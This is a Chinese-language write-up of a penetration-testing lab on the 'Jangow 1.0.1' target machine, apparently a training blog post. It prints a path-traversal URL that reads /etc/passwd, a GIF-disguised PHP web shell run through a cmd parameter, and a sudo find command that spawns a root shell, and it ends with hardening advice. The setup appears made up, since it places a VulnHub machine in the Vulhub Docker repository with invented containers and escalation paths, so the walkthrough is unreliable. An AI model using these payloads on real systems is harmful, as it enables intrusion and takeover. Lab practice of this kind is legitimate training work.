1. 靶场环境概述
Jangow 1.0.1是Vulhub漏洞集成环境中一个经典的Web渗透测试靶机,模拟了真实世界中存在多种漏洞的网站系统。这个靶场特别适合练习从信息收集到权限提升的完整渗透流程,包含了目录遍历、文件上传、命令注入等常见漏洞类型。
我在本地搭建测试环境时发现,这个靶机对初学者非常友好,所有漏洞都设计得恰到好处——既不会过于简单而失去挑战性,也不会复杂到让人无从下手。整个渗透过程就像在解一个精心设计的谜题,每一步都能学到新东西。
2. 环境搭建与配置
2.1 Vulhub基础环境准备
首先需要确保已安装Docker和Docker Compose。我推荐使用Ubuntu 22.04 LTS作为宿主机系统,这是目前最稳定的选择:
# 更新系统包 sudo apt update && sudo apt upgrade -y # 安装必要依赖 sudo apt install -y docker.io docker-compose git注意:如果之前安装过旧版Docker,务必先彻底卸载避免冲突。我在测试中发现残留的docker-ce包会导致端口绑定异常。
2.2 获取Vulhub源码
建议直接从GitHub克隆最新版仓库:
git clone https://github.com/vulhub/vulhub.git cd vulhub/jangow/1.0.1这个靶机的目录结构非常清晰:
docker-compose.yml:容器编排文件src/:存放靶机Web应用的源码README.md:包含基本说明信息
2.3 启动靶机环境
执行以下命令启动服务:
docker-compose up -d启动完成后,通过docker ps检查容器状态,正常应该看到两个服务:
jangow_web:运行Apache+PHP的Web服务jangow_db:MySQL数据库服务
访问http://localhost:8080即可看到靶机首页。我在首次启动时遇到端口冲突,发现是宿主机已有服务占用了8080端口,通过修改docker-compose.yml中的端口映射解决:
ports: - "8088:80" # 将外部访问端口改为80883. 渗透测试实战流程
3.1 信息收集阶段
使用经典的侦察工具组合:
# 目录扫描 dirb http://localhost:8088 /usr/share/wordlists/dirb/common.txt # Nikto漏洞扫描 nikto -h http://localhost:8088扫描结果中几个关键发现:
/site/:主站入口/backup/:存在目录遍历漏洞/admin/:后台登录页面- 服务器版本信息:Apache/2.4.7 (Ubuntu)
我特别注意到/backup/目录的目录遍历漏洞,这是整个渗透测试的突破口。通过构造特殊URL可以查看服务器上的敏感文件:
http://localhost:8088/backup/../../../../etc/passwd3.2 漏洞利用过程
3.2.1 文件上传漏洞利用
在/site/页面发现一个图片上传功能,经过测试发现没有正确验证文件类型。我使用Burp Suite拦截上传请求,修改文件头为图片格式但保留PHP代码:
GIF89a; <?php system($_GET['cmd']); ?>上传后访问该文件并附加命令参数:
http://localhost:8088/uploads/shell.php?cmd=id成功返回了uid=33(www-data),证明获得了Web Shell。
3.2.2 权限提升技巧
通过Web Shell发现系统存在sudo配置漏洞:
sudo -l User www-data may run the following commands on jangow: (ALL) NOPASSWD: /usr/bin/find利用find命令的特性进行提权:
sudo find /home -exec /bin/bash \;这样就获得了root权限的shell。在实际测试中,我发现这个靶机还隐藏着其他提权路径,比如通过修改cron job或者利用内核漏洞,这为深入学习提供了更多可能性。
4. 漏洞修复建议
4.1 安全加固方案
针对发现的漏洞,可以采取以下防护措施:
目录遍历防护:
- 在Apache配置中添加:
<Directory /var/www/html> Options -Indexes AllowOverride All </Directory> - 在PHP代码中校验所有文件路径参数
- 在Apache配置中添加:
文件上传安全:
- 白名单验证文件扩展名和MIME类型
- 使用随机文件名存储上传文件
- 设置上传目录不可执行
权限控制:
- 遵循最小权限原则配置sudo
- 定期审计系统权限配置
4.2 监控与日志
建议部署以下监控措施:
- 实时监控Web服务器日志中的可疑请求
- 设置文件完整性监控(如AIDE)
- 对敏感命令执行进行审计
5. 学习价值与延伸思考
Jangow 1.0.1靶机最宝贵的地方在于它模拟了真实渗透测试中的典型场景。通过这个实验,我总结出几点重要经验:
信息收集决定渗透深度:最初发现的目录遍历漏洞看似简单,但为后续攻击提供了关键跳板。在实际测试中,全面的信息收集往往比直接攻击更有效。
漏洞链的利用思维:单独看每个漏洞可能危害有限,但组合利用就能产生巨大威力。这个靶机完美展示了如何将多个中低危漏洞串联成完整攻击链。
环境配置的重要性:从Docker网络设置到sudo权限配置,系统管理中的细微疏忽都可能成为突破口。这提醒我们在运维中必须注重细节安全。
对于想进一步学习的同学,我建议尝试以下挑战:
- 不利用文件上传漏洞,通过其他方式获取Web Shell
- 探索除find外的其他提权方法
- 尝试编写自动化渗透脚本复现整个攻击流程
这个靶场环境我已经反复测试了十余次,每次都能发现新的细节。它就像一本活的渗透测试教科书,值得安全爱好者深入钻研。